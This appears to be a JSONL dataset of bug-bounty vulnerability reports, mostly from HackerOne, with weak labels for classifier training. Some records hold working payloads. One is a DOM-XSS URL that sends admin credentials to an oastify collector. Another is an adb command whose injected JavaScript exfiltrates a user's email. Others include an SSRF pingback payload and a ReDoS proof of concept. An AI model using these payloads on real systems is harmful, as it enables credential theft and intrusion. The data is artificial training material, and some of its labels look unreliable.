-{"id": "21279302b9ee32de9eda", "text": "[Cryptographic Issues - Generic] Multiple OpenSSL error handling issues in nodejs crypto library\n\n**Summary:** NodeJS up to 19.2.0 does not clear the OpenSSL error stack after operations that may set it\n\n**Description:** NodeJS up to 19.2.0 does not clear the OpenSSL error stack after operations that may set it. This may lead to false positive errors during subsequent cryptographic operations that happen to be on the same thread.\n\n## Steps To Reproduce:\n\nThe following issues have reproduction cases:\n\nhttps://github.com/nodejs/node/pull/45495\nhttps://github.com/nodejs/node/pull/45377\n\nUpon reviewing the code in crypto_x509.cc, at least one other function lacks use of ClearErrorOnReturn - X509Certificate::CheckPrivateKey.\n\nhttps://github.com/nodejs/node/blob/main/src/crypto/crypto_x509.cc#L432\n\n## Impact:\n\nOn our application, JWTs failed to sign after a certificate fails to verify on the same thread.\n\n## Impact\n\nIf the server verifies certificates using Node's X509Certificate API, it may fail to sign other users' auth tokens: if a certificate fails to verify, the error from the previous failing call is applied to the next call that should succeed. It is worth auditing all OpenSSL entry points to see if they can cause errors to be raised.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a81827e9f2a71a4f11fa", "text": "[Improper Access Control - Generic] Discoverability by phone number/email restriction bypass\n\n**Summary:** By using this vulnerability an attacker can find a twitter account by it's phone number/email even if the user has prohibited this in the privacy options.\n\n**Description:** The vulnerability allows any party  without any authentication to obtain a **twitter ID**(which is almost equal to getting the username of an account) of **any** user by submitting a phone number/email even though the user has **prohibitted this action in the privacy settings**. The bug exists due to the proccess of authorization used in the Android Client of Twitter, specifically in the procces of checking the duplication of a Twitter account.\n\n## Steps To Reproduce:\n\nIn this example I will show you how to get a Twitter ID of a user with an email \"████████\" (this an account created by me to demonstrate this bug)\n  0.Disable discoverability in your Twitter account settings \n  1. At first we create a LoginFlow by sending a POST request to \nhttps://api.twitter.com/1.1/onboarding/task.json?flow_name=login\n\nHeaders (stay the same for all the requests):\n>User-Agent: ████ (████)\n>Accept-Encoding: gzip, deflate\n>Authorization: Bearer ███████\n>X-Guest-Token: █████ __#This value changes dynamically and must be generated every once in a while__\n>Accept: application/json\n>X-Twitter-Client: TwitterAndroid\n>System-User-Agent: ██████\n>Content-Encoding: application/json\n>Content-Type: application/json\n>Accept-Language: en-US\n\nBody:\n>{\"flow_token\":null,\"input_flow_data\":{\"country_code\":null,\"flow_context\":{\"start_location\":{\"location\":\"deeplink\"}},\"requested_variant\":null,\"target_user_id\":0}}\n\nResponse:\n>{\"flow_token\":\"**██████**\",\"status\":\"success\",\"subtasks\":[{\"subtask_id\":\"LoginEnterUserIdentifier\",\"enter_text\":{\"primary_text\":{\"text\":\"To get started, first enter your phone, email, or @username\",\"entities\":[]},\"hint_text\":\"Phone, email, or username\",\"multiline\":false,\"auto_capitalization_type\":\"none\",\"auto_correction_enabled\":false,\"os_content_type\":\"username\",\"keyboard_type\":\"text\",\"next_link\":{\"link_type\":\"task\",\"link_id\":\"next_link\",\"label\":\"Next\"},\"skip_link\":{\"link_type\":\"subtask\",\"link_id\":\"forget_password\",\"label\":\"Forgot password?\",\"subtask_id\":\"RedirectToPasswordReset\"}},\"subtask_back_navigation\":\"cancel_flow\"},{\"subtask_id\":\"RedirectToPasswordReset\",\"open_link\":{\"link\":{\"link_type\":\"deep_link_and_abort\",\"link_id\":\"password_reset_deep_link\",\"url\":\"twitter://onboarding/task?flow_name=password_reset&input_flow_data=%7B%22requested_variant%22%3A%███%22%7D\"}}}]}\n\nAs you can see we have aquired the flow token value which is used in the next request.\n\n2.  Send a POST request to https://api.twitter.com/1.1/onboarding/task.json with the same headers and a flow token aquired in the previous response\n\nBody:\n>{\"flow_token\":\"██████\",\"subtask_inputs\":[{\"enter_text\": {\"suggestion_id\":null, \"text\": \"**█████████**\", \"link\": \"next_link\"},\n                           \"subtask_id\": \"LoginEnterUserIdentifier\"}]}\n\nResponse:\n>{\"flow_token\":\"████\",\"status\":\"success\",\"subtasks\":[{\"subtask_id\":\"AccountDuplicationCheck\",\"check_logged_in_account\":{\"true_link\":{\"link_type\":\"task\",\"link_id\":\"AccountDuplicationCheck_true\"},\"false_link\":{\"link_type\":\"task\",\"link_id\":\"AccountDuplicationCheck_false\"},\"user_id\":\"**███**\"}}]}\nAs you can see we have aquired the user ID which can then be used  to get the **full info** about the twitter account (there are many ways to do this), even though I have **disabled discoverability** in my user settings! \n\n## Impact: \nThis is a serious threat, as people can not only find users who have restricted the ability to be found by email/phone number, but any attacker with a basic knowledge of scripting/coding can enumerate a big chunk of the Twitter user base unavaliable to enumeration prior (**create a database with phone/email to username connections**). Such bases can be sold to malicious parties for advertising purposes, or for the purposes of tageting celebrities in different malicious activities\nAlso a cool feature that I discoverd is that you can e", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "190d606586ec13bf1338", "text": "[Cross-site Scripting (XSS) - DOM] Admin account/panel takeOver and Doing actions in admin panel via DOM-based XSS\n\nHello team ,\n\nI found Dom-XSS in your (https://████████/) Webmail Admin Panel that manage attacker to stealing admin sensitive info  and doing any action in your  webmail admin panel .\n\n## why and how this vulnerability happen :\n\n    - if your reviewed the source code of this endpoint of the admin panel \" view-source:https://██████████/admin/\" , you can see the vulnerable javascript sink which is document.write :\n\n                ``          \n                      if (█████.my█████.isMy█████Instance()) {\n\t\t                                    \tdocument.write('<script type=\"text/javascript\" src=\"' + ███.my████.getGeneratedDefaultsPath() + '\"><\\/script>');\n\t\t                             }\n                ``\n                     \n  you can see that this sink writing data (that including attacker controllable data  which is the value returned of this function `██████.my████.getGeneratedDefaultsPath() `  ) to the DOM without any sanitization or validation  .\n\n- if your reviewed the difination of  this function `██████.my███.getGeneratedDefaultsPath() ` in this js file \"https://████/admin/my████.js?v=563fd4e62ed50c2ec5695420aa8c280a\"  :\n\n``` █████████.my███████ = {\n    urlParams: function() {\n        var e, a, r, s, n = document.location.search.substr(1), t = n.split(\"&\"), i = {};\n        for (r = 0, s = t.length; s > r; r++) {\n            e = t[r].split(\"=\");\n            a = e[0];\n            i[a] = void 0 === e[1] ? \"\" : decodeURIComponent(e[1]);\n            if (window.JSON && (\"jsonHeaders\" === a || \"uploadHeaders\" === a)) {\n                i[a] = JSON.parse(i[a]);\n            }\n        }\n        return i;\n    }(),\n    isMy█████████Instance: function() {\n        return !!this.urlParams.appUrl;\n    },\n    getGeneratedDefaultsPath: function() {\n        var e = this.urlParams.appUrl;\n        e = e.substr(0, e.indexOf(\"/api/\"));\n        return e + \"/generatedDefaults.js?v=563fd4e62ed50c2ec5695420aa8c280a&X-InstanceId=\" + this.urlParams.jsonHeaders[\"X-InstanceId\"];\n    }\n};\n```\nyou can that the query string parameters is parssed via `urlParams` function and this paramters values then used in `getGeneratedDefaultsPath` function to generate the return value  by taking the value of `appUrl` parameters and passed it with the returned value , and as you can see there is no attacker controllable data sanitization or filtration , which enable attacker to pass malicious code via `appUrl` parameter to  the DOM sink (`document.write`) which manuplate the DOM and excute any code in the admin panel .\n\n\n##POC :\n\n\n1) in case the admin not logged in yet , attacker can  stealing the admin credentials , here steps to reproduce  :\n\n1 - change the value of `attackerServer` variable in the code below to your server .\n2 - just open this link  : \n       https://██████████/admin/?appUrl=x%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain);window.onload%3D()%3D%3E{document.getElementById(%22myframe%22).contentDocument.getElementById(%22login-button%22).onclick%3D()%3D%3E{let%20attackerServer%3D\"https://dizw1b5gzqe6kw4f93zwtiez0q6hu6.oastify.com\";new%20Image().src%3D`${attackerServer}?AdminUsernameIS:${document.getElementById(%22myframe%22).contentDocument.getElementById(%27username%27).value}%26%26AdminPasswordIS:${document.getElementById(%22myframe%22).contentDocument.getElementById(%27password%27).value}`;}}%3C/script%3E%3Ciframe%20id%3D%22myframe%22%20src%3Dhttps://████/admin/login/%20style%3D%22position%3Afixed%3B%20top%3A0%3B%20left%3A0%3B%20bottom%3A0%3B%20right%3A0%3B%20width%3A100%25%3B%20height%3A100%25%3B%20border%3Anone%3B%20margin%3A0%3B%20padding%3A0%3B%20overflow%3Ahidden%3B%20z-index%3A999999%3B%22%3E//api/&jsonHeaders={%22hf%22:%22uwt%22}\n\nas you can see the xss alert is poped up , and when entering admin credintials and submiting it , this credentials will route to attacker server ( see the attachment video )\n\n2) in case the admin already logged in , attacker can steal the admin auth-token and doing any action in the adm", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "330799aaa789dee8d4b5", "text": "[Information Disclosure] Enumerate class codes via yahoo dork - Can access any course under teacher - Sensitive information leaked\n\nHello Team,\nI am quality researcher and I found some links using yahoo dorking techniques\nI used yahoo dork `site:pl.khanacademy.org/join` \nI used Firefox browser.\n\nSteps to reproduce:\n1.Go to yahoo search page and use above query to enumerate.\n2.Create student account by filling all the required details\n3.Now you are in the class without actually invited by teacher.\n4.You can pick any course from item and start you course.\n\nI can also able to see teacher Full name- This is sensitive information \n\nAttached POC:\n\n## Impact\n\nAny black hacker can enumerate all the classes and join in them and can make chaos.\nSome chances of IDOR too.\nIf you can encrypt this class details which some hashing technique and this will not showed up with dorking queries.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "03783ab39822d8189143", "text": "[Server-Side Request Forgery (SSRF)] Unauthenticated Blind SSRF at https://█████ via xmlrpc.php file\n\n**Description:**\n\nHi team,\n\nI would like to report a security vulnerability I discovered on your website. I was able to perform Server-Side Request Forgery (SSRF) attacks via the xmlrpc.php file at https://████████ endpoint.\nUsing a simple POST request to the xmlrpc.php endpoint, I was able to bypass input validation and send a request to an external URL.\n\nI have attached a proof of concept (PoC) script that demonstrates this vulnerability. It sends a request to my VPS server using interact.sh client (https://github.com/projectdiscovery/interactsh), but an attacker could use this technique to send requests to any URL of their choosing.\n\n## References\n\nhttps://www.sonarsource.com/blog/wordpress-core-unauthenticated-blind-ssrf/\nhttps://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/\n\n## Impact\n\nThe vulnerability could be used to conduct further attacks, such as accessing internal systems or exfiltrating sensitive data.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Start a server in vps using interact.sh or use burpsuite collaborator.\n2. Go to: https://███/xmlrpc.php\n3. See the response:\n```\nXML-RPC server accepts POST requests only.\n```\n4. Go to burpsuite and send this request to the repeater.\n5. Change the request method to POST.\n6. Get the URL of your server listener and set this payload at request:\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodCall>\n<methodName>pingback.ping</methodName>\n<params>\n<param>\n<value><string>https://your server</string></value>\n</param>\n<param>\n<value><string>https://█████/</string></value>\n</param>\n</params>\n</methodCall>\n```\n7. Send the POST request.\n8. See the response in your server log.\n\n## Suggested Mitigation/Remediation Actions\nI would recommend implementing input validation and filtering to prevent these types of attacks in the future. Please let me know if you require any additional information or if you have any questions.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fe185edf64e5f97a86ed", "text": "Agreed I could use some help here, I’m pretty confident I have the right train of thought: user-anarchy for my usernames create a custom password list using CUPP Use hydra, honestly I don’t know jack about HP but the hint says don’t get crazy with CUPP buuuuuuuuut??? When I use the two lists together is says it’s going to take several hours and the machine times out. Am I going down the right track?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5189c8dc27a7869c510b", "text": "[Unknown] hosted.weblate.org display of unfiltered results\n\nable to request all changes of everything not just sandbox when inserting this %'s in author username on this page.  https://hosted.weblate.org/changes/?project=sandbox&lang=en&user=%25%27s&start_date=&end_date=\n\n## Impact\n\nno filter on request feels like elevated permissions. lets you do the search even though it throws error.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a50ca615ca8c022d230e", "text": "[Information Disclosure] Any organization's assets pending review can be downloaded\n\n# Steps to reproduce\n- sign in as any user\n- visit https://hackerone.com/organizations/:handle/assets/download_pending_reviews.csv, where `:handle` is the organization you want to download the assets for\n\n## Impact\n\nThis may leak sensitive data about an organization's attack surface.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1e6ec1bd6438badcb726", "text": "[Unknown] [Java]: Flow sources and steps for JMS and RabbitMQ\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "41d6c6053c9a1a8c1a72", "text": "[Unknown] Golang : Hardcoded secret used for signing JWT\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a7e2ccfebc0a870f3f1e", "text": "[Business Logic Errors] objectId in share location can be set to open arbitrary URL or Deeplinks\n\n## Summary:\nThe NextCloud Talk app allows a user to share their location in the Mobile App.\nThe objectId= in ```/ocs/v2.php/apps/spreed/api/v1/chat/$token/share``` Can be set to a URL or Deeplink, While the ```metaData=``` will render the map, Once a user clicked the map it will open the defined URL or Deeplink in the crafted request.\n\nFor days, I've been thinking and trying different ways to Increase its Severity but i guess im stuck so here i am Reporting this.\n\n\n\n\n## Steps To Reproduce:\nNote: Location Sharing is only allowed in the Mobile App.\n\n* 1.) Using the app share your location and Intercept it, The request should be similar to the ```Request``` Below.\n* 2.) Alter the ```objectId=``` to whatever URL you want to point it at.\n* 3.) Send the Request\n* 4.) Using the Mobile app, Click the map and it will redirect you to the url.\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n### Request\n\n  ```\nPOST /ocs/v2.php/apps/spreed/api/v1/chat/wqfqmw9n/share HTTP/2\nHost: localhost\nCookie: oc_sessionPassphrase=cookie; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; occi3pyo3vg0=6lheeis7ot8kcnvdgq12ijl90e\nAuthorization: Basic \nUser-Agent: Mozilla/5.0 (Android) Nextcloud-Talk v12.2.1\nAccept: application/json\nOcs-Apirequest: true\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 227\nAccept-Encoding: gzip, deflate\n\nobjectType=geo-location&objectId=https://ctulhu.me&referenceId=kkk&metaData={\"type\":\"geo-location\",\"id\":\"geo:14.600765443470294,121.00452968052457\",\"latitude\":\"14.600765443470294\",\"longitude\":\"121.00452968052457\",\"name\":\"hehe\"}\n```\n\n### Response\n\n```\nHTTP/2 201 Created\nDate: Sat, 11 Sep 2021 17:30:22 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 509\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\n\n\n{\"ocs\":{\"meta\":{\"status\":\"ok\",\"statuscode\":201,\"message\":\"OK\"},\"data\":{\"id\":237,\"token\":\"wqfqmw9n\",\"actorType\":\"users\",\"actorId\":\"secret\",\"actorDisplayName\":\"secret\",\"timestamp\":1631381422,\"message\":\"{object}\",\"messageParameters\":{\"actor\":{\"type\":\"user\",\"id\":\"secret\",\"name\":\"secret\"},\"object\":{\"type\":\"geo-location\",\"id\":\"https:\\/\\/ctulhu.me\",\"latitude\":\"14.600765443470294\",\"longitude\":\"121.00452968052457\",\"name\":\"hehe\"}},\"systemMessage\":\"\",\"messageType\":\"comment\",\"isReplyable\":true,\"referenceId\":\"kkk\"}}}\n\n```\n\n## Impact\n\nA attacker can abuse this to fool the user to open a malicious url or 3rd party app.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "91fb22de0f36c4b4a8d7", "text": "[Insecure Direct Object Reference (IDOR)] IDOR\n\n**Summary:**\nIDOR\n\n**Description:**\nBy changing the value in the parameter █████████= from my own account █████ to something else such as ████████ it is possible to see barcode and expiration date of other ████ without their consent.\n\n## Impact\nInformation Disclosure\n\n## Step-by-step Reproduction Instructions\n\n1. PoC: https://████████\n\n## Product, Version, and Configuration (If applicable)\nWeb Application\n\n## Suggested Mitigation/Remediation Actions\nRestrict access to other meal cards which the user is not authorized to access.\n\n## Impact\n\nInformation Disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a81f2506c29f64f5aeb4", "text": "[Cross-site Scripting (XSS) - DOM] com.basecamp.bc3 Webview Javascript Injection and JS bridge takeover\n\nIt was identified that the android **com.basecamp.bc3 application**, contains a Webview where the loaded URLs are not sanitised properly. As this webview's functionality is extended via javascript interfaces and has the javascript enabled it is possible to inject arbitrary javascript code which will be executed by the application's webview and provide access to the java native code via the class **a.a.a.s.g** ( which is exposed via the NativeApp).  \n\n##JS Bridge\n\nThe following JS Bridges are exposed:\n\n###nativeBridge\n\n{F1452715}\n\n###NativeApp\n\n\n{F1452717}\n\n###TurboNative\n\n{F1452718}\n\n##Steps to Reproduce\n\n1. Create a valid basecamp account \n2. Create a project \n\n{F1452720}\n\n3. Open any Sub-project tab (e.g. Message Board - it is needed only ONE time in order to initialise the JS interface  )\n\n\nRun the following command after replacing the XXXXX with the user id \n\nExample: {F1452730}\n\nCommand:\n```\n$adb shell am start -W -a android.intent.action.VIEW -d 'https://3.basecamp.com/XXXXX/p\",\"advance\",\"---\"); /* comment */ window.location.replace(\"https://example.com?exfiltration=\"+nativeBridge.getPage().accountName); //'\n```\n\nObserver the HTTP requests of the app:\n\n```\nGET /?exfiltration=USER_EMAIL@gmail.com HTTP/2\nHost: example.com\n....\n````\n\n## Impact\n\nConfidentiality, Integrity and availability are all affected from the specific vulnerability as the javascript code can be injected to an already loaded url while additional functionality is added via the exposed javascript interfaces:\n\n###Javascript Injection:\n\n{F1452742}\n\n###Bridge Access\n\n\"Bucket Name:\"+nativeBridge.getPage().bucketName + \"Title: \" + nativeBridge.getPage().title + \"User email:\" +nativeBridge.getPage().accountName);\n\n{F1452750}\n\n### Cookie exfiltration:\n\n{F1452769}", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3a18167524e604c382db", "text": "[Improper Authentication - Generic] PIN 📌 BYPASS 🥷\n\nSummary:\n\n 983980808 IOS App has improper rate limit.\n\nWhen we try to brute force the PIN, we are rate limited for 5 minutes after 5 or 6 attempt.\n\nIn my testing I found that it was checking the device's local date / time so by changing it we can brute force the PIN.\n\nSteps To Reproduce:\n\n1.Install 983980808  IOS APP from IOS APP store.\n2.Create your PIN.\n3.Now open again your 983980808 IOS App\n4.You will be asked to enter the PIN.\n5.Try to brute force the code. You will see a message to try again after 5 min.\n6.Now change the date / time of your device.\n7.Observe there is no rate limit now.\n\nPOC video : IMG_7755.MP4\n\n## Impact\n\nAn attacker can brute force the PIN of an user", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d50cc88fc2b890ad1904", "text": "[Improper Authorization] [HTA2] Authorization Bypass on https://██████ leaks confidential aircraft/missile information\n\n## Summary:\nThere is an authorization bypass on https://██████  which allows a remote, unauthenticated attacker to bypass the \"██████Single Sign-On\" and view the application as an authenticated user.\n\n## Details:\nThe host at ████ uses Akamai as a load balancer and routes traffic back to an internal server:\n\n```\nroot@doggos:~# dig A ████\n-- snip --\n;; ANSWER SECTION:\n███. 2386\tIN\tCNAME\t█████.\n████. 1554 IN CNAME ███.\n███████. 180 IN CNAME e1010.d.akamaiedge.akamai.█████████.\ne1010.d.akamaiedge.akamai.██████.\t20 IN A\t██████████\n``` \n\nWhen attempting to hit the website, you are redirected to `https://█████████/pool/sso/authenticate/l/2?m=GET&r=t&u=https%3A%2F%2F████████%2F` and requires the visitor to authenticate via SSO.\n\nHowever, I was able to find the Origin IP of this server. Hitting this Origin IP completely circumvents the ████████ SSO and allows the visitor to use the application as an authenticated user.\n\n## Steps To Reproduce:\n  1. Try visiting the application here: https://███. You'll see you are redirected to login via SSO.\n\n█████████\n\n  2. Run the following command to verify that ████ is the Origin IP for `█████████` by pulling the names from the SSL certificate:\n\n```\nroot@doggos:~#  true | openssl s_client -connect ██████:443 2>/dev/null | openssl x509 -noout -text | perl -l -0777 -ne '@names=/\\bDNS:([^\\s,]+)/g; print join(\"\\n\", sort @names);'\n\n█████████\n```\n\n  3. Now visit the application: https://█████\n  4. You'll see that you can now use the application as an authenticated user by clicking through the sidebar:\n\n███\n\nYou can search through past messages / updates on aircraft and missles here: \n\nhttps://███/Guest/MessageSearch.aspx\n\n## Impact\n\nCritical. A remote, unauthenticated attacker can view and download confidential information from this application. For instance, I clicked on one of the messages at https://████████/Guest/MessagesDetails.aspx and it downloaded a document containing sensitive information about some issues with some██████████:\n\n█████████\n\n████████\n\n\nBest,\nCorben Leo (@cdl)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b20dfd2fefc2b1404e75", "text": "[Information Disclosure] [h1-2102] shopApps query from the graphql at /users/api returns all existing created apps, including private ones\n\n## Summary:\nI have seen that there is query called shopApps executable on the `/[ID]/users/api` graphql that returns a huge amount of apps (it timeouts with a limiting). In the response I have noticed the returned apps also include the private apps, so I do not think that this is intented like this. Using this method, one can grab all the apps, including private ones from shopify.\n\n## Steps To Reproduce:\n1. Login to shopify.plus as the admin\n2. Go to users, monitor the request and send the POST made to `/[ID]/users/api` to repeater\n3. Change the body with this one :\n\n```\n{\"query\":\"query xxx { shopApps(first:10000) { edges { node { id isPrivate handle name title shopifyApiClientId } } } }\"}\n```\n\nIn the response, if you search for `\"isPrivate\":true` you will see also private apps.\n\n## Supporting Material/References:\nScreenshots attached\n\n## Impact\n\nOne can grab all the shopify apps, including the private ones that I assume are not meant to be accessible.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "02a4c35f270727ae2e44", "text": "[Integer Overflow] Integer overflow vulnerability\n\n## Summary:\nIn one of my previous reports i send parameter tampering report vulnerability. Then you asked me to send PoC and you just closed it, that's why i'm sending you this new report with exactly name of vulnerability. Integer Overflows are closely related to other conditions that occur when manipulating integers. An Integer Overflow is the condition that occurs when the result of an arithmetic operation, such as multiplication or addition, exceeds the maximum size of the integer type used to store it. When an integer overflow occurs, the interpreted value will appear to have “wrapped around” the maximum value and started again at the minimum value. For example, an 8-bit signed integer on most common computer architectures has a maximum value of 127 and a minimum value of -128. If a programmer stores the value 127 in such a variable and adds 1 to it, the result should be 128. However, this value exceeds the maximum for this integer type, so the interpreted value will “wrap around” and become -128. \n\nAttackers can use these conditions to influence the value of variables in ways that the programmer did not intend. The security impact depends on the actions taken based on those variables. Examples include, but are certainly not limited, to the following:\n\n    An integer overflow during a buffer length calculation can result in allocating a buffer that is too small to hold the data to be copied into it. A buffer overflow can result when the data is copied.\n\n    When calculating a purchase order total, an integer overflow could allow the total to shift from a positive value to a negative one. This would, in effect, give money to the customer in addition to their purchases, when the transaction is completed.\n\n    Withdrawing 1 dollar from an account with a balance of 0 could cause an integer underflow and yield a new balance of 4,294,967,295.\n\n    A very large positive number in a bank transfer could be cast as a signed integer by a back-end system. In such case, the interpreted value could become a negative number and reverse the flow of money - from a victim's account into the attacker's.\n\n## Steps To Reproduce:\nBeside card payment, you have option \"cache on delivery\" and there i found one mistake which gives me possibility to change price in last moment.. The moment when you actually should change quantity value is: \n\n\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nInteger overflow, quantity value manipulation leads to price manipulation..", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "93e4b43be2f345a08177", "text": "[Unknown] [Java]: CWE-625 - Query to detect regex dot bypass\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8ed12e00bad227236b47", "text": "[Unknown] Yet another SSRF query for Go\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8f5d1e68d021b024de55", "text": "[Unknown] ReDoS (Rails::Html::PermitScrubber.scrub_attribute)\n\nI have confirmed that ReDoS occurs on `Rails::Html::PermitScrubber.scrub_attribute`.\n\nhttps://github.com/rails/rails-html-sanitizer/blob/v1.4.3/lib/rails/html/scrubbers.rb#L134\n\n```ruby\n      def scrub_attribute(node, attr_node)\n        attr_name = if attr_node.namespace\n                      \"#{attr_node.namespace.prefix}:#{attr_node.node_name}\"\n                    else\n                      attr_node.node_name\n                    end\n\n        ...\n        if Loofah::HTML5::SafeList::SVG_ATTR_VAL_ALLOWS_REF.include?(attr_name)\n          attr_node.value = attr_node.value.gsub(/url\\s*\\(\\s*[^#\\s][^)]+?\\)/m, ' ') if attr_node.value\n        end\n```        \n\n`/url\\s*\\(\\s*[^#\\s][^)]+?\\)/m` is where the problem occurs. \n\n---\n\n### PoC\n\n```ruby\n# Gemfile\ngem 'rails-html-sanitizer', '~> 1.4', '>= 1.4.3'\n```\n\nscrub_benchmark.rb\n\n```ruby\nrequire 'benchmark'\nrequire 'rails-html-sanitizer'\n\ndef scrub(length)\n  scrubber = Rails::Html::PermitScrubber.new\n  scrubber.tags = ['s']\n  scrubber.attributes = ['mask']\n\n  mask =  'url(uu' * length\n\n  html_fragment = Loofah.fragment('<s mask=\"' + mask + '\" id=\"aa\">aa</s>')\n  html_fragment.scrub!(scrubber)\nend\n\nBenchmark.bm do |x|\n  x.report { scrub(10) }\n  x.report { scrub(100) }\n  x.report { scrub(1000) }\n  x.report { scrub(10000) }\n  x.report { scrub(100000) }\nend\n```\n\n```\n❯ bundle exec ruby scrub_benchmark.rb\n       user     system      total        real\n   0.000208   0.000020   0.000228 (  0.000226)\n   0.000316   0.000001   0.000317 (  0.000320)\n   0.023582   0.000039   0.023621 (  0.023653)\n   2.430801   0.007312   2.438113 (  2.446419)\n 233.864668   0.498743 234.363411 (234.632421)\n```\n\n## Impact\n\nReDoS may occur if scrub is executed in Rails::Html::PermitScrubber.\n\nHowever, one of the values [Loofah::HTML5::SafeList::SVG_ATTR_VAL_ALLOWS_REF](https://github.com/flavorjones/loofah/blob/v2.18.0/lib/loofah/html5/safelist.rb#L583) must be set in `attributes`.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4514a96c39cd1350975a", "text": "[Information Disclosure] Wordpress users Disclosure [ /wp-json/wp/v2/users/ ]\n\n## Summary:\nUsing REST API, we can see all the WordPress users/author with some of their information. Which can even be Personal information of employees/author. The file v2/users at:  https://www.mtn.com/wp-json/wp/v2/users/   is enabled and this give the attacker many users names like:  `Amogelang Maluleka` `Greg Davies` `karenbyamugisha` `Marc Ilunga` `mitchprinsloo`\n\n## Steps To Reproduce:\n\n  1.  Go to https://www.mtn.com/wp-json/wp/v2/users/  [ Allows anyone to view active usernames ]\n\n{F1985941}\n\n## Supporting Material/References:\nhttps://hackerone.com/reports/356047\nhttps://hackerone.com/reports/370777\n\n###Fix:\nUse this code will hide the users list and give 404 as the result, while rest of the api calls keep running as they were.\n```javascript\nadd_filter( 'rest_endpoints', function( $endpoints ){\n    if ( isset( $endpoints['/wp/v2/users'] ) ) {\n        unset( $endpoints['/wp/v2/users'] );\n    }\n    if ( isset( $endpoints['/wp/v2/users/(?P<id>[\\d]+)'] ) ) {\n        unset( $endpoints['/wp/v2/users/(?P<id>[\\d]+)'] );\n    }\n    return $endpoints;\n});\n```\n\n## Impact\n\nMalicious counterpart could collect the usernames disclosed (and the admin user) 